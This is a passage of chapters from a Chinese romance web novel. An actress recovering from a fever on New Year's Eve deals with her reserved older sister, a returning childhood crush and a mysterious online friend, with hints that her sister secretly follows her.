沈雅歌穿着刚刚披在她身上的黑色外套,领口敞开露出里面部分白色羊绒衫,扣子一板一眼端正扣好,长至小腿的大衣下是笔直挺拔的阔腿西裤,除了腰间一根没来得及系上的腰带外没有别的装饰。
她像是一阵干净俐落的疾风,准确停在床尾。
“等这两瓶输完就可以回去了,明天再过来打一次,后天看情况。”
刘文慧两人顺着她的目光看向床边输液架上挂着的两瓶液体,其中一瓶还未开封,另一瓶连接着管道,管道将液体通过手上血管输送进沈雅韵体内。
还剩一半,两瓶全部打完估计还要一个多小时。
“能回去就好,怎么说也是家里待着舒服。”刘文慧点点头,对于这个结果还算满意。
沈雅歌看了看他们三人,眨了眨眼忽然道,“爸,妈,你们要不要吃点东西,我去楼下买。”
刘文慧摇头,沈父也摇头,“我们还好,就是你妹妹,中午没吃,刚刚说让她吃点也不要。”
沈雅歌闻言看向沈雅韵,沈雅韵抿了抿唇,“不想吃,不饿。”
刘文慧一听又要训,只是还没出口便被沈雅歌截了下来。
得知妹妹的意愿,沈雅歌转头看向父母。
“那下楼买点回来,雅韵想吃就吃点,不想吃就等回去再吃。”
刘文慧一听也行,家里本来就做了菜,如果不是因为沈雅韵生病,现在早就吃上了。
就这么做了决定,沈雅歌转身下楼,留下沈雅韵和父母三人在楼上等候。
她走后,沈雅
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韵也不想说话,躺着看输液瓶内的液体一滴滴落下,看了会觉得无聊。
“我手机呢?”
她记得自己就是因为回房间拿手机,拿到后身体一阵发软,便没了意识。
刘文慧嗔怪的看了她一眼,从口袋里拿出手机给她。
“给你给你,饭也不吃,就想着玩。”
沈雅韵不理会,接过手机打开微信。
现在是除夕晚上,过了12点后便是新年,消息对比白天多了很多很多,有些一看就是群发,想了想从其中挑了一条也群发回去,剩下的只是简单写了名字和除夕快乐新年快乐的再一条条回复过去。
回复完后想起什么,打开大眼,翻到消息栏,无数的消息圆点中,雪白小鸟头像置于最上方,上午发的消息已有回复。
雅韵SY:【除夕快乐,新年快乐】
北山尾:【新年快乐(爱心)】
看到跟在新年快乐的爱心表情,会心一笑,轻点屏幕,消息发送。
雅韵SY:【没想到我们的老年人也会用表情包了呀(大笑)(大笑)】
本以为又是很久才有回复,没想到刚发出去,便来了消息。
雅韵SY:【没想到我们的老年人也会用表情包了呀(大笑)(大笑)】
北山尾:【(爱心)(爱心)】
雅韵SY:【(爱心)(爱心)(爱心)】
虽然笑她是老年人,但沈雅韵在之前的聊天中问过,知道‘北山尾’在一家科技公司工作,年纪三十左右。
古板的不会用表情包的程序员吗?再加上拍鸟,如果不是真切问过她的性别和年龄,基于某种刻板印象,她绝对不会和‘他’聊天的。
退出聊天,随便翻了翻私信,回复了几条。
病房内只有他们一家三口,左右两边的病床都没有人,不知道是不是因为过年的缘故,能回去的都回去了。
房间里只有液体滴落的声音,偶尔伴随着刘文慧女士的几声念叨,在清冷的寂静中,沈雅歌推开门走进来。
她一进来,外面的寒风跟着涌进,随后又被重新关上的房门挡在门外。
将手上提着的吃食递给父母,看了一眼沈雅韵,沈雅韵摇头,沈雅歌明了,也不劝她,自己打开那份馄饨吃了。
一直到输液结束,几人才扶着她往回走。
刘文慧和沈父一左一右围着她,小心慢慢地往医院停车场走,沈雅歌走在三人身后。
几人上车,车径直往家里开。
除夕的夜晚说热闹也热闹,说冷清也冷清,热闹的是不断绽放的烟花爆竹,冷清的是大家都待在家里,街上的商店大多也处于关闭状态,这个时间点,小县城已属于半睡眠状态。
一路畅通无阻的回到家,打开门迎面而来的是凝在空气中的饭菜香,冷掉的饭菜香没有刚出锅时的引人发馋,反而有几分油腻。
好好的除夕夜却在医院里渡过,刘文慧不由叹了一口气。声音很小,沈雅韵却捕捉到了,目光闪了闪,回望母亲沉默的身影。
母亲身影似乎比前两年低小了些,从前瘦长有致的身形,如今因为苍老和操劳脊柱不再以前那般挺直,她看着看着,因为白日里生的气渐渐消散,目光软了下来。
“有点,饿了~”
5. 第 5 章
“我给你热,早说了要吃点东西,现在饿了吧。”
刘文慧目光一下火热起来,那些阴沉的情绪瞬间消散,看似埋怨脸上却笑开了,连忙将桌上的菜放到微波炉热上。
沈雅韵慢慢走到在桌前落座,沈雅歌换好鞋在她右边坐下,沈父因为实在困,外加刚刚在医院吃饱了,便先行去洗澡,就只有她们三人在客厅。
不一会,刘文慧便将热好的饭菜端上来,热好的饭菜瞬间有了刚出锅时的香气,将原本不饿的沈雅韵真勾出了几分饥饿感。
菜香四溢,母女三人坐着吃饭,刘文慧和沈雅歌两人在医院都吃过了,两人主要陪沈雅韵吃一些。
三人稍微吃了一点东西后散去,沈雅歌帮着母亲收拾碗筷饭桌,沈雅韵先行回房洗澡。
她的睡衣早在医院时便被汗水浸湿,湿漉漉的让人难受,好在医院和车上都开着空调,倒也没冻着。
此刻洗完澡换上新睡衣躺在床上,打开大眼想看看今天新闻时,却发现有两条北山尾的未读消息。
好奇打开聊天列表。
北山尾:【今年冬天冷,珍重身体】
北山尾:【除夕快乐。】
什么啊,沈雅韵嘴角不自觉上扬,似乎能想到某个一板一眼的人拿着手机一个字一个字打出发出的模样了。
莫名有点可爱呢。
顿时也不想刷新闻了,起了几分逗弄心思。
雅韵SY:【你是预言家吗?怎么知道我生病了】
北山尾:【生病要看医生,吃药,保暖,才能早日康复。】
雅韵SY:【咦~不愧是古板的程序员小姐,不过你没说多喝热水还真是出乎我的意料呢】
北山尾一时没回话,她便点开其他页面看看新闻消息,吃瓜吃得不亦乐乎时,突然响起三下敲门声。
敲门声平稳匀速,若是声波能用线条表示,那定是一条直线。
家里母亲的敲门声是急切的,父亲敲门缓慢,这一听就是沈雅歌站在门外。
触及屏幕指尖微顿,目光轻闪,想起今天晚上披在自己身上的大衣,站起身去开门。
门打开,沈雅歌的身影出现在门外。
修长的身影此刻一手端着水,另一只手垂下,腕部凸起骨节下挂着医院标识的塑料袋,摇摇晃晃。
“可以进来吗?”
沈雅韵迟疑地点点头,让开身体让她进来。
沈雅歌走进房间,目光不多看,径直将水和药放在她内侧对着门的桌上,桌上东西很多,沈雅歌顺便找了个空隙放下,按照医嘱与她说明该如何吃。
沈雅韵将药吃下,转头看沈雅歌还站在房间,似乎没有要离开的意思,唇角抿住,不知道该说什么。
这还是高三那年后,沈雅歌第一次进入自己房间,莫名有些尴尬。
瞟了眼乱糟糟堆在凳子上的衣服,一片狼藉的桌面上摆满了各式各样的护肤品、化妆品,一时间脸颊便不由滚烫。
眼神也开始乱瞟,却又不能说出赶人的话,一时坐如针毡。
“你——”
“我——”
两个人同时开口,都愣了下,沈雅韵赶紧摇头,“你说。”
沈雅歌笑了笑,她和沈雅韵同为姐妹,五官相似,最不像的却是眼睛。
沈雅歌的眼狭长,眼尾上扬,和沈雅韵的温润杏眼不同,沈雅歌看人时便是不刻意做出凌厉气势也让人感到无端的压力,然而此刻双眼弯着笑,从旁看来,和沈雅韵竟是别无二致。
她笑了笑,从口袋里掏出一个布偶挂件送给她。
“没什么好送你,在路上看到,顺道买了。”
圆孔上挂着一只小小的圆圆布偶,布偶是当下最火的一个小猫头,猫耳朵外轮廓一只橙色,一只紫色,瞳孔也是一只橙一只紫,整个猫头布偶橙白相间,头上戴着一个侦探帽,脸上一个眼镜框。
沈雅韵接过挂件的一瞬间眼睛便亮了,惊喜道。
“这个很火的,你从哪里买到的?”
“是吗?”看着她开心,沈雅歌眉眼也染上了几分愉悦,“送客户回来的时刚好看到,看很多人买,便想着给你带一个,喜欢吗?”
“喜欢,”沈雅韵拿着小猫头布偶喜欢得不行,笑意盛满眉眼,“还是限定款,好多人都抢不到,你也太幸运了。”
这个玩偶是当下最火的一个ip,她很早就想要,还在采访时提过一嘴,只是因为这个ip实在太抢手,再加上一直没时间,没想到被沈雅歌遇上还买了下来,不得不说真巧。
沈雅歌笑笑,长睫掩下眼底的笑意,唇角轻勾。
“喜欢就好,早点休息,明天一起去医院。”
沈雅韵微愣,反应过来连忙点头。
“好。”
原来的睡衣因为汗水浸湿换下,这次的睡衣是毛茸茸的小猫睡衣,垂在颈后的帽子上两个粉色小猫耳朵,随着她点头,帽子也跟着点头。
沈雅歌目光掠过,温和的笑意缓慢在眼底流动,轻笑着走出门,像是想起来什么,忽然在门口停下。
房内温暖的光调落在她眼里,熠熠生辉。
“记得多喝水,水温别太烫。”
沈雅韵轻愣,呆呆应下,看着她把门关上。
因为沈雅歌提醒她多喝水,下意识想起之前被她逗弄的‘北山尾’,不由点开大眼再看了眼,最下方的消息已有回复。
雅韵SY:【咦~不愧是古板的程序员小姐,不过你没说多喝热水还真是出乎我的意料呢】
北山尾:【多喝温水。】
是温水,不是热水,沈雅韵眼里带了笑,指尖轻触屏幕。
雅韵SY:【还真是严谨的程序员小姐】
房间的梳妆台前,玻璃在温暖的灯光下折射出璀璨光芒,水杯里波纹轻轻荡漾,温度正好。
第二天,沈雅韵在不急不缓的敲门声中醒来,洗漱好,穿好衣服,吃完早餐,坐上沈雅歌的车前往医院。
早上还是有些发烧,体温在38度,到了医院后,因为是白天,再加上意识不像上次那般模糊,医生便给他们安排在医院大厅输液。
沈雅歌办理好手续,两人找到位置坐下。
虽然是春节第一天,输液大厅里坐的人却不少,大概因为都发烧的原因,每个人脸上没有春节的喜气,只有身体不适的苍白和虚弱。
沈雅韵也是如此
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,带着口罩,围着围巾,酸痛的身体懒散靠在冰冷的座椅上,沈雅歌坐在她旁边。
过了一会,沈雅歌接了个电话走开了,便只剩她一人坐在冷冰冰的输液大厅里。
手机刷着有些酸涩,她便靠着背椅仰头闭着眼休息,也不知过了多久,听到一声不确定的轻呼。
“雅韵?”
沈雅韵睁开眼,对上乔霖温和的瞳孔。
乔霖家族有混血基因,因此他的瞳孔深棕最内层的一圈带了点绿,像是幽深沼泽地里长出的高大绿植,深邃迷人。
“乔霖哥。”
沈雅韵眨巴眨巴眼,立刻端正了坐姿,小心觑了他一眼,心想刚刚应该没有睡得太丑吧。
“还真是你。”
乔霖轻笑,笑意在眼底很快又转为担忧,眉心微蹙,上下打量了一眼输液瓶和她手上的插着的针头。
“你生病了?”
“没事,就是有点小感冒。”
小感冒?
乔霖看着周围虚弱着输液的人群,再看沈雅韵唇色明显不如那天见她时红润,眉稍轻挑,没揭穿她的话。
“乔霖哥,你来医院做什么?”沈雅韵不想他过多追问,好奇问他。
“给我妈拿点药,她降血压药吃完了,再配一些回去。”
乔霖温柔笑道,流光在眼底转动,“雅韵拍剧应该很忙吧,过完年就要去吗?”
“那倒没这么赶,元宵吧,元宵之后我应该就不在家了,乔霖哥你呢?李姨说你一回来就被a市人民医院录用了,医生诶,肯定很忙吧?”
“是的,初七过后便要回去上班了。”乔霖话语微顿,低头注视着她,“雅韵拍戏是在哪?到时候我能来探班吗?”
“探,探班吗?”沈雅韵有些无措。
“不方便吗?”
乔霖长睫垂下,眼眸温和注视着她,瞳底绿意渐浓,温柔中又带着说不清的幽深,像是要把她吸进去般。
瞬间慌乱。
年少时暗恋的人这么看着你,这谁受得了。
虽然那些情愫早已随着时间淡去,但到底是唯一暗恋过的人,乔霖在她心底的位置总是有些特别的。
沈雅韵慌张无措,一时间都想不起来乔霖说的什么,更别提回答,手下意识缩紧,忽然一声清脆的响声将她惊醒。
清脆的声响将两人从刚刚诡异氛围中惊醒,手背冰凉的触感让她猛然回神,低头一看,原来是碰到了包上挂件中的小铃铛。
小铃铛在小猫头布偶旁边,刚刚手肘不自觉蹭了一下,铃铛便响了。
“方,方便,二月到三月应该的在c市,乔霖哥你要来跟我讲一下好了,到时我把地址告诉你。”
说完又有点不好意思,头低着不敢看他,“不过到时可能要你自己过来了,嗯,我大概没办法给你接机。”
棕眸扫过她包上的挂件,温和的光隐晦地黯淡了一瞬。
这个挂件……
唇微弯,再看向她时目光已恢复常态,温柔似水,好似刚刚的引诱都是迷乱下的错觉,张了张口,想问她小猫头挂件的事,却忽然听到身后传来的清冷声线。
“乔霖,你在这做什么?”
6. 第 6 章
乔霖身体僵直,目中闪过一丝慌乱,僵硬回头。
他的反应沈雅韵看着眼里,掩下心底些许失落,越过他往后看去,沈雅歌一身棕色大衣,骨节分明的手持着手机,湖蓝色手机壳从指缝间透出,皱眉看向这边。
两人身型接近,颜值相当,巧得是今天都穿的棕色大衣,随意看过去,很难不让人觉得这二人是情侣。
俊男靓女的组合吸引了不少人目光,沈雅韵见状悄悄把口罩带好。
要是被人发现自己身份,就他们三个人站在这里,不知道会编出什么花边新闻。
口罩带好,目光在他和沈雅歌身上来回转动,不小心泛动的心思沉沉压下,掀不起一丝波澜,目光微暗。
“雅歌,好久不见。”
乔霖转过身,温和向沈雅歌打了个招呼。
面对他的招呼,沈雅歌站在原地,目光在他和沈雅韵身上扫过,轻点了下头,稍显冷淡。
“还没说,你怎么会在这里?”
“给我妈拿点高血压的药。”面对沈雅歌,乔霖语速明显快了些。
“这样。”
沈雅歌点点头,目光转动,看着乔霖像是在审视什么,乔霖唇角弧度不变,目光也如之前一般温和。
两人光是站在那里便让人赏心悦目,但不知为何,空气中似乎莫名的紧张。
沈雅韵仰头看着乔霖和沈雅歌,眼底闪过不解。
两人从小一起长大,就算是八年不见也不该是这般反应,沈雅歌反应未免太过冷淡了些。
她疑惑中,沈雅歌已经抬步走到他们面前,唇角轻勾,不见方才的冷漠,带了几分挪揄,拍上乔霖肩膀。
“欢迎回来。”
“谢谢,好久不见。”
刚刚的冷淡好像是刻意为之的把戏,乔霖眼中带了笑,笑意比刚才更深刻。
见两人熟稔的互相招呼,沈雅韵松了一口气,她就知道两人关系好,见面不可能像刚刚那样冷淡。
松懈下来的目光滑落到沈雅歌放在乔霖肩膀上的手,放松的同时心底却莫名生起一丝酸涩,这酸涩来得隐秘又迅疾,她不想让人看出,连忙将头低下,听着两人寒暄。
“这次回来还走吗?听说你进医院了?”
“不走了,”乔霖笑声谦逊,“刚好医院有招聘,就试着投了一下,运气好罢了。”
“当年不走,以你的成绩也该进这家医院,如今倒也不算晚。”
沈雅歌的声音清冷却不失温度,似乎能想象到她唇角微勾的样子,沈雅韵低头听着,脑海里想象两人柔情对视的模样。
青梅竹马,两小无猜,如果当年乔霖哥不出国,或许……
“定居在国内,女朋友怎么办?她也跟你一起回国?”
女朋友!
思绪被沈雅歌猛然提出的问题吓了一跳,下意识抬起头去看乔霖反应,震惊的同时也好奇这个问题的答案。
女朋友?乔霖哥已经有对象吗?
沈雅歌目光隐晦扫过因为震惊而半张着口不自知的妹妹,目光闪了闪,不动声色落在面前神情错愕的乔霖身上,眼底有探究。
乔霖明显惊住了,目光里闪过错愕,随后轻笑的看了沈雅歌一眼,“想不到这么多年过去你也变得幽默了,没有女朋友,一直单身。”
笑意温和,回答也正常,沈雅歌长睫轻垂,唇角勾出笑意,不以为意,“这倒是让人想不到。”
乔霖不置可否,看了眼她,低头看了眼沈雅韵,礼貌点头示意,“时间差不多,我该回去了,下次再聊。”
“再见。”
“再见,乔霖哥。”
在姐妹俩的告别声中,乔霖转身走出医院,医院外蓝天白云悠悠飘荡,让人不由自主放松下来。
他抬起头,唇边笑意慢慢淡下,这才发觉嘴角早已僵硬,想到是为什么,又不自觉的好笑。
在沈雅歌眼皮子底下追她妹妹,还真是一件比世上最难手术还要难的事。
不过他既然回来了,就没有放手的打算。
天上白云遮住了太阳,医院内光线暗了下来,沈雅歌转过身抬头看了眼吊瓶,估摸着还要大半个小时才能结束,弯身在妹妹身旁坐下。
大厅内都是挂吊瓶的人,只有偶尔细碎交流的声音和一点视频外放声,总体来说是安静的。
“他刚刚和你说了什么?”
沈雅韵听到声音转过头,眼底透露着迷茫。
“没说什么……”沈雅歌话语虽然温和,眼眸却带了几分锋利,目光直直地看着自己。不习惯这样的对视,沈雅韵微微把头转过去,低头看着自己的手心,不知为何有些心虚,“和你们刚刚说的差不多。”
沈雅歌点点头,目中流露出思索,并没有就此打住,而是继续问道,“乔霖去M国后联系过你吗?”
“没有,”沈雅韵一惊,转头错愕看她,对上她深棕色的眼眸略微不自在,“他联系我做什么?”
半是尴尬,半是疑惑地看着沈雅歌,“你问这个什么意思?”
沈雅歌目光轻闪,笑容无异,“没什么,他出国这么久,想问问你了不了解他的情况。”
“我怎么会知道,”她嘟囔了句,又想起沈雅歌之前问乔霖有没有女朋友的问题,似乎明白了什么,轻抿了下唇,小心觑了她一眼,忍着心底异样小声辩驳了句,“乔霖哥从来不会骗人,他肯定没有女朋友。”
沈雅歌不置可否,人都是会变的,八年前的乔霖可以信赖,却不能保证现在的乔霖也能相信。
对于妹妹的话不以为然,但见她这般信誓旦旦的保证,便也没有说什么。
瓶里的液体流尽,按下响铃,护士将针头和输液瓶一起带走,针头拔走后,血液从针尖刺破的血管渗出,血液很快将输液贴染上一小块鲜红血迹,沈雅韵按着输液贴,跟着沈雅歌的步伐走上车。
本来习惯性想坐后座,上车前想起不知道在哪里看到的帖子,说是坐后座有把人当司机的嫌疑,想了想,打开一半的后坐车门关上,打开副驾车门落座。
右边的车门打开又合上,沈雅歌握着方向盘的手微顿,唇角勾起一抹微小的弧度,随手将手机放置在中间的储物槽内,握着方向
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盘将车开出医院,不经意提起。
“你过完年后是去c市吧?”
“你怎么知道?”沈雅韵错愕转头,惊奇于她居然清楚自己的行程,惊讶了一瞬,又想起自己的行程之前跟爸妈提过一两句,沈雅歌知道似乎也没什么奇怪,便将惊讶收起,老实答到,“嗯,大概二三月份在c市。”
沈雅歌直视前方的路况没有回头,似乎早有所料,快速接道,“2月我正好去c市出差,到时来看看你。”
看自己?沈雅韵想起了刚刚乔霖跟自己的对话,心底莫名感到诡异,看向沈雅歌的目光也不由自主带了古怪。
他们约好了吗?怎么一个两个都要来看她?
估计是奇怪的目光太过明显,正在等红绿灯的沈雅歌不明所以转头看向她,眼底疑惑明显。
沈雅韵沉默了一会,侧开视线不自然道,“你出差应该很忙吧,我拍戏也没什么好看的……那时候比较忙,可能……没时间招待你……”
头渐渐低下,话语渐渐小声,似乎觉得拒绝得太过生硬,低着头又补了句,“不然到时候再看,如果有时间的话……”
她低着头,不敢看沈雅歌的脸色,只能低头看着自己的手,大拇指按在食指中间的指关节上,因为用力,拇指与食指接触的地方渐渐泛白。
车内很安静,所有车辆都在等红绿灯,她们车窗外是一个骑着电动车的母子,孩子抱着妈妈的腰,童言童语透过薄薄的车窗传到二人中间。
“妈妈,等我上学了,你会来看我的对不对?”
孩子带着稚气问身前握着车把手的母亲,孩子母亲似乎有几分好笑和无奈,带着挪揄反问,“早上送你到学校,晚上接你回来还不够啊?”
孩子摇头,似乎因为太冷了,把脸蒙在妈妈腰间,话语含含糊糊传出,“不够不够,妈妈中午也要来看我。”
“那可不行,妈妈还要上班呢,到时候让姥姥来看你,顺便给你带好吃的好不好?”
“不要姥姥,妈妈你来嘛,你来~”
孩子搂着身前母亲的腰不依不饶,沈雅歌透过车窗看着母子二人,目光透露出怀念。
沈雅韵低着头,指节泛白,心头压力越发沉重,就在快要扛不住说自己到时去接她的时候,沈雅歌的声音轻轻响起,混在一片鸣笛车流声中。
“嗯,到时再说。”
没说不去找她也没说一定找她,只说到时再看,沈雅韵松了一口气,抬头看向车窗外,绿灯已然亮起,无数的车辆井然有序前行,驶往不同目的地。
心下放松,看着窗外风景,窗外是各色建筑,走过一段街道,建筑变为千篇一律的绿植。此时正值冬季,原本绿意盎然的树木都光秃秃的一片,千姿百态的林木此刻都大同小异的光着枝干,看了会便觉得枯燥无味,无聊收回视线打量起车内装饰。
车内装潢很简单,确切来说没什么装潢,这车好似刚从车店开回来一般,除了最基本的配备什么也无。
她看了一会便觉得乏味,目光收回准备看会手机,低头的瞬间,余光瞟到储物槽里的手机忽然顿住。
7. 第 7 章
手机壳上的图案莫名有些眼熟,她不由细心看了下。
蓝色的手机壳上画着一个卡通Q版人物,Q版小人一身蓝色古装,头上顶着一个可爱的青色卡通毛毛虫,手上捧着一个卡通红桃。
虽然人物的下半身被储物槽挡住了,但沈雅韵还是一样认出这是自己这部剧的角色,Q版角色。
拿桃子人物的多,但拿桃子头上还顶着毛毛虫就只有目前正火的仙侠剧《醉江山》里的女四,男主的妹妹令狐琰琬。
不错,正是她演的。
沈雅歌专注着开车,清冷的眉目注视着前方,骨节分明的指节搭在方向盘上,手掌随着路况变化而转动。
眉目如画,眼角微扬,如霜似雪。
怎么看也不像是会用这么幼稚手机壳的人。
沈雅歌怎么会用这种手机壳?难道她看了自己演的剧?
一想到自己拙劣的演技在她眼里过了一遍,坐垫好像生了钉子,扎得她坐立难安。
大概是她蛹动的动作太古怪,沈雅歌抽空瞅了她一眼。
清冷的目光落在她身上,像是雪花般瞬间融化,软和不带任何锋利的看向她,沈雅韵结巴了好几下才支支吾吾问出口。
“这个手机壳……”
沈雅歌顺着她的目光落在湖蓝手机壳上,左眉轻挑。
“你喜欢?”
“不,不,不是,只是你怎么会用这样的……手机壳……”
她仔细盯着她的表情,心提在嗓子眼,生怕她说看过自己演的电视剧就买了,如果是这样……
她会吓晕过去的,绝对。
沈雅歌没说话,转过头继续看路,指尖轻轻敲了下方向盘,漫不经心的声音随后传到她耳侧。
“同事送的,她买多了。”
原来是这样,沈雅韵提着的一颗心收回肚子里,放松下来的同时又觉得自己好笑。
怎么会认为沈雅歌看了自己演的电视剧才买的手机壳,这可是沈雅歌呀,从小就对娱乐视频毫无兴趣的沈雅歌,要相信她突然开始看古偶剧,不如相信火星撞地球。
“这是她喜欢的一个角色。”
清冷的声音在她怔愣时传到耳边,一时反应不及,呆呆问出声。
“什么?”
“那个同事,很喜欢这个角色。”
沈雅歌转头,看了眼安静躺在储物槽里的手机外壳上的卡通人物,看似随意的道了句,唇角轻弯,漫不经心转头继续看向前方。
沈雅韵不知该如何反应,随意应和了句,“啊,是,是吗?”
“嗯,听说是最近一部电视剧里的角色,叫什么……江山”
“《醉江山》”
她下意识回复,话语刚落便后悔了,果然沈雅歌顺着她的话好奇询问,“像是这部剧,你也看过?”
沈雅歌目光直视前方,两手握着方向盘上,目光随着车流变动,没有回头看她,这让她放心不少,小心瞧了她一眼,低声回应,“看过……”
“那看来应该不错,有空我也看看——”
“你别看!不好看!”
话刚出口便被妹妹急切打断,沈雅歌不由转头看了她一眼,唇边微勾的弧度垂了一点,目光晦暗了一瞬,转头看着前方,“可我看很多人喜欢……”
“真不好看,别看,剧情可烂了,演员也演的一塌糊涂,反正……反正就是部烂片……就是这样。”违心说自己演的剧是烂片,沈雅韵不由得心虚的低下头。
抱歉导演,抱歉编剧,抱歉同事,她不是故意的……
沈雅歌唇边弯起的弧度又落了一些,不知道想了些什么,过了好一会才道,“不看就不看吧,不过我那同事很喜欢这个角色,想来也不是所有演员演技都不行,至少演这个角色的演员演技不错……”
“不过是编剧设定的好……一个小演员,也没什么出彩的。”听着沈雅歌夸自己,沈雅韵浑身别扭,忍不住反驳。
“演员和角色相辅相成,”沈雅歌看着前方,语气带了些许郑重反驳,“这个演员定是花费了大量心思在这个角色上,才将角色诠释得这么好,让这么多人喜欢。”
她定定地看了她一眼,目光温和。
在近乎温柔的目光下,沈雅韵侧脸避开,心里说不清是什么滋味。
她确实为了这个角色花了大把的时间精力。
这个角色一开始在剧本里并不是现在演绎的那样惹人喜欢,按剧本里的描写男主妹妹性格很不讨喜。
《醉江山》是一部宫廷斗争男主剧,主要讲身为普通药师的男主被动卷入一场场阴谋,随着阴谋解开,发现原来自己是流落在外的皇子,那些阴谋也是针对他这个身份而来,最后揭穿阴谋夺得帝位的故事。
本就是大男主剧,戏份主要在男主和他的兄弟上,女性角色戏份不多,而在女一温柔女二大方女三泼辣,且都能给男主不同助力的情况下,身为女四也就是她演的男主妹妹,却只会躲在哥哥身后骄纵惹事,自然很不讨喜。
她看到这个角色就意识到了这一点,最后根据自己理解,跟导演和编剧多次争取,才在荧幕上演成现在惹人喜爱的小公主模样。
然而就算是这样,在剧播出后关于她这个角色的讨论还是不高,虽然不至于惹人不喜,但也没激起多少水花,这倒不是因为她演的不好的原因,而是因为这部剧因为背后多方资方势力角逐后,最终搬上大荧幕的模样很是奇怪。
各种奇怪的元素掺杂在一起,拼成了一部四不像剧,她的戏份也删减了不少,如果不是那张火出圈的照片的话……想来这部剧放到现在也没什么水花……
所以她之前评价的话也不是没有道理,称不上十足的烂
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吧,但也不算很好,合格线以上。
沈雅韵心里默默的想着,面上瞧瞧覷了一眼专心开车没空看她的沈雅歌,想到她刚刚的评价,心底升起一丝雀跃。
嗯哼,想不到沈雅歌同事还是挺有眼光的嘛~
覷了一眼放在储物槽的手机,唇角上扬,目光转开,懒洋洋靠在身后的背椅上。
在她转开视线的瞬间,黑色的屏幕忽然亮起,一条来自大眼的消息提示横列在时间刻度下方【大眼秘书提醒您今天是您关注‘雅韵SY’四周年的日子,请不要忘记……】
屏幕亮起又很快暗下,字眼悄然隐藏在光滑的屏幕下。
车开了一会到了小区停车场,把车停好,沈雅韵解开安全带先行下车,沈雅歌拿了手机后关上车门,两人并行着往家走,车窗缓缓自动升起。
回到家正好中午十二点,两人打开门没看到父母两人俱是一怔,沈雅韵看着空荡荡的客厅想起什么,打开了一上午没打开的微信,母亲发的消息赫然在上。
【中午我和你爸在你大姨家吃饭,你们自己做点东西吃啊,冰箱里有鱼、青菜,不想做菜速冻饺子也有】
哦,做客去了。
沈雅韵了然,转头看向沈雅歌,征求她的意见。
“爸妈他们在大姨家吃饭,中午我们随便吃点?”
沈雅歌眼睛轻眨,打开手机翻了几下,最后像是确认了什么,抬头跟她说道,“他们没跟我说,你决定就好。”
他们当然不会发给你……
沈雅韵目光转开,腹诽了声,立刻做了决定,“那就吃饺子吧。”
她们两个人吃点饺子得了,炒菜多麻烦。
“好。”沈雅歌没有异议。
沈雅韵从冰箱底层把上次刘文慧女士包的饺子拿出来,满满一大盒,就算再来两个人也够吃。
拿出饺子,开始烧水,这时站在一旁的沈雅歌走了过来。
“要帮忙吗?”
沈雅韵目光从还未冒泡的锅底转开看向她,沉默。
无声的沉默中,沈雅歌莫名觉得自己被妹妹隐晦鄙视了一下。
柜子底下拿两个碗给我吧。”沈雅韵转过头,随便想了一件她能做的事交代给她。
沈雅歌闻言将手机顺手放在台面上,蹲下身去拿碗,屏幕亮着。
锅里的水还没烧开,沈雅韵看着她弯着腰拿东西,面碗不知为何被塞在了最里面,沈雅歌只能先将其他的碗移开,再伸手去拿里面的面碗。
有些无聊,沈雅韵视线从她身上重新看向锅里的水,依旧还没烧开,目光转开,瞥到沈雅歌放在桌面的手机,想起手机壳的事,便想拿起仔细看看。
伸手拿过手机,亮着的屏幕灰了下去,似乎下一刻便要锁上,却在指尖不小心触碰的瞬间重新亮起,屏幕上的消息吸引了她的视线。
8. 第 8 章
沈雅歌拿到碗起身,就见她目光怔然的看着自己手机,目光微闪,不动声色问道。
“怎么了?”
沈雅韵听见声音怔怔回神,手上拿着手机像是拿的是刚出锅的饺子,急忙丢给她,“没什么,你同事给你发消息。”
接过手机,沈雅歌从妹妹惊慌的表情上移开,骨节分明的手指在屏幕上轻划,低头一眼就看到了下属发来的问候。
【新的一年祝您新年快乐,阖家团圆,幸福安康。】
……
一看就是群发消息,不以为意关上手机看向沈雅韵,却发现她咬着下唇,欲言又止地看着自己,好似有什么隐情。
心微微沉了沉,眼睫轻压,遮住眼底思绪,将手机放进口袋,若无其事道。
“有事?”
见瞒不住心事,沈雅韵犹豫看着她口袋里的手机,踌躇了一会儿,缓缓出声询问。
“你同事的头像背景是你们公司吗?”
?
没想到是这个问题,沈雅歌紧绷的眼角错愕张开,茫然了一瞬,从大衣口袋拿出手机。
手机一抬起屏幕便自动亮了起来,冷光正对着她的眼睛,上划划开,仔细看了刚刚发给她消息的人的头像,这是一个刚入职的同事,一个很努力的小孩,就连头像也中规中矩得生怕出一丝差错,用的头像也是穿着标准西装站在公司大门口照片,未免也太拘谨了些。
心下有些无奈,不过这都是小事,新人熟悉后便不会这般拘束,压下思绪点了点头。
“是我们公司。”
沈雅韵得到答复,轻攒的眉心却没有松开,似乎心中的疑问并没有得到解答,皱眉沉思着什么。
沈雅歌不明白她在想什么,也不知道只是一个头像有什么好好奇的,于是也只好看了看手机。
还是那个头像,还是那些话,普通的不能再普通,规矩的不能再规矩。
“你们公司的标识可以出现在其他地方吗?比如卡片上?”
标识?沈雅歌想了想,意识到她说的是公司招牌下的专属商标,眉心闪过思索,斟酌了一会摇头,“商标,公司有关业务产品或公司员工个人名片上可以,除此之外怕是不能。”
原来是这样,沈雅韵皱着眉,忽而怀疑地看向沈雅歌,“你……”
沈雅歌一只手拿着手机,面对她的怀疑目光不闪不避,好奇地等着她把话说完,沈雅韵见状又把那个离谱的念头压了下去,呼出一口气。
不可能是沈雅歌……
“你在其他地方看到过这个标识?”沈雅歌握着手机,眼睫轻扬,疑问又好奇。
在她说完这句话后,锅里的水终于烧开了,咕噜咕噜的水泡从锅底翻涌至水面破裂。
面对疑问沈雅韵只是摇了摇头,来不及过多解释,连忙将放在一旁的饺子一个个放进水里,盖上锅盖。
饺子沉入水底,过了几分钟漂浮起来,又放了一勺冷水,等待间将人推出厨房,让她在餐桌前等着。
沈雅歌无奈走出厨房在餐桌前坐下,餐桌就在厨房的前面,被一扇玻璃门分离开,她坐在最里边,正好对着厨房门,妹妹的身影隔着玻璃移动。
看了一会,长睫下垂,将放在口袋中的手机翻开,屏幕瞬间亮起,黄色的消息提醒凸显在暗色屏幕上。
【大眼秘书提醒您今天是您关注‘雅韵SY’四周年的日子,请……】
解锁手机,目光压了压,不等看完指尖长按删除。
删除完之后再点开手机设置,找到软件,关闭通知。
一系列事情做完后,这才若有所思看向厨房。
沈雅韵穿着白色羽绒服在厨房有条不紊忙碌着,雾气升腾间,她的身影也跟着迷蒙不清。
她站在锅前,蒸腾的热气从她眼前升起,萦绕在心底的疑惑更加如迷雾般看不清晰。
沈雅歌说得没错,她以前见过这个标识,极为相似的标识。
